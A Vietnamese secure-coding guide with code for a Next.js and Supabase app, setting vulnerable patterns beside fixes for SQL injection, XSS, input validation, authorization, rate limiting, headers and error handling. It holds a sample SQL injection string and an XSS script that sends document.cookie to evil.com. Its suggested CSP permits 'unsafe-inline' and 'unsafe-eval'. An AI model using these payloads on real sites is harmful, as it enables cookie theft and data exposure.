Cách Mình Bảo Mật Ứng Dụng

// LỖ HỔNG: Nối chuỗi
const query = `SELECT * FROM users WHERE email = '${email}'`;

// Nếu email là: ' OR '1'='1
// Query thành: SELECT * FROM users WHERE email = '' OR '1'='1'
// Trả về TẤT CẢ user!

// AN TOÀN: Parameterized query với Supabase
const { data } = await supabase
  .from('users')
  .select('*')
  .eq('email', email);

// AN TOÀN: Nếu dùng raw SQL
const { data } = await supabase.rpc('get_user', { user_email: email });

// Trong function:
// SELECT * FROM users WHERE email = $1

<!-- Nếu mình hiển thị input user trực tiếp -->
<div>{userComment}</div>

<!-- Kẻ tấn công gửi: -->
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

<!-- Script này chạy trong trình duyệt mọi user xem trang -->

// LỖ HỔNG: dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: userContent }} />

// AN TOÀN: Để React escape
<div>{userContent}</div>

// Nếu BẮT BUỘC render HTML, sanitize trước:
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userContent) }} />

// AN TOÀN: React escape mặc định
{keywords.map(k => <div key={k.id}>{k.text}</div>)}

// LỖ HỔNG: Nếu render ngoài ngữ cảnh React
element.innerHTML = keyword; // ĐỪNG LÀM THẾ NÀY

import { z } from 'zod';

// Định nghĩa cấu trúc mong đợi
const KeywordUploadSchema = z.object({
  keywords: z.array(z.string().min(1).max(500)).min(1).max(10000),
  options: z.object({
    minClusterSize: z.number().min(2).max(100).default(5),
    model: z.enum(['text-embedding-3-small', 'text-embedding-3-large']),
  }),
});

// Validate trong API route
export async function POST(request: Request) {
  const body = await request.json();

  const result = KeywordUploadSchema.safeParse(body);
  if (!result.success) {
    return Response.json(
      { error: 'Invalid input', details: result.error.flatten() },
      { status: 400 }
    );
  }

  // Giờ result.data đã được type và validate
  const { keywords, options } = result.data;
}

// Validate file upload
const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
const ALLOWED_TYPES = ['text/csv', 'application/json'];

export async function POST(request: Request) {
  const formData = await request.formData();
  const file = formData.get('file') as File;

  // Kiểm tra kích thước
  if (file.size > MAX_FILE_SIZE) {
    return Response.json({ error: 'File too large' }, { status: 400 });
  }

  // Kiểm tra loại file (đừng chỉ tin Content-Type header)
  if (!ALLOWED_TYPES.includes(file.type)) {
    return Response.json({ error: 'Invalid file type' }, { status: 400 });
  }

  // Parse và validate nội dung
  const content = await file.text();
  // ... validate cấu trúc CSV/JSON
}

export async function GET(
  request: Request,
  { params }: { params: { id: string } }
) {
  // 1. Xác minh user đã authenticated
  const session = await getSession(request);
  if (!session) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 });
  }

  // 2. Xác minh user sở hữu tài nguyên này
  const { data: job } = await supabase
    .from('clustering_jobs')
    .select('*')
    .eq('id', params.id)
    .eq('user_id', session.user.id)  // QUAN TRỌNG: Filter theo user
    .single();

  if (!job) {
    // Trả 404, không phải 403 (đừng tiết lộ sự tồn tại)
    return Response.json({ error: 'Not found' }, { status: 404 });
  }

  return Response.json(job);
}

// SAI: Chỉ kiểm tra authentication
const session = await getSession(request);
if (!session) return unauthorized();

// Rồi fetch mà không filter theo user
const job = await supabase.from('jobs').select().eq('id', id).single();
// User A truy cập được job của User B!

// ĐÚNG: Luôn filter theo user
const job = await supabase
  .from('jobs')
  .select()
  .eq('id', id)
  .eq('user_id', session.user.id)
  .single();

// Rate limiting đơn giản trong memory (dùng Redis cho production)
const rateLimits = new Map<string, { count: number; resetAt: number }>();

function checkRateLimit(ip: string, limit = 100, windowMs = 60000): boolean {
  const now = Date.now();
  const record = rateLimits.get(ip);

  if (!record || now > record.resetAt) {
    rateLimits.set(ip, { count: 1, resetAt: now + windowMs });
    return true;
  }

  if (record.count >= limit) {
    return false; // Bị rate limit
  }

  record.count++;
  return true;
}

export async function POST(request: Request) {
  const ip = request.headers.get('x-forwarded-for') || 'unknown';

  if (!checkRateLimit(ip)) {
    return Response.json(
      { error: 'Too many requests' },
      { status: 429, headers: { 'Retry-After': '60' } }
    );
  }

  // Xử lý request...
}

const securityHeaders = [
  {
    key: 'X-Content-Type-Options',
    value: 'nosniff',
  },
  {
    key: 'X-Frame-Options',
    value: 'DENY',
  },
  {
    key: 'X-XSS-Protection',
    value: '1; mode=block',
  },
  {
    key: 'Referrer-Policy',
    value: 'strict-origin-when-cross-origin',
  },
  {
    key: 'Content-Security-Policy',
    value: "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';",
  },
];

module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: securityHeaders,
      },
    ];
  },
};

// SAI: Lộ chi tiết nội bộ
catch (error) {
  return Response.json({
    error: error.message,  // Có thể lộ SQL, đường dẫn, v.v.
    stack: error.stack,    // Tiết lộ cấu trúc code
  }, { status: 500 });
}

// ĐÚNG: Lỗi chung, log chi tiết phía server
catch (error) {
  console.error('Clustering thất bại:', error);  // Log để debug
  return Response.json(
    { error: 'An error occurred. Please try again.' },
    { status: 500 }
  );
}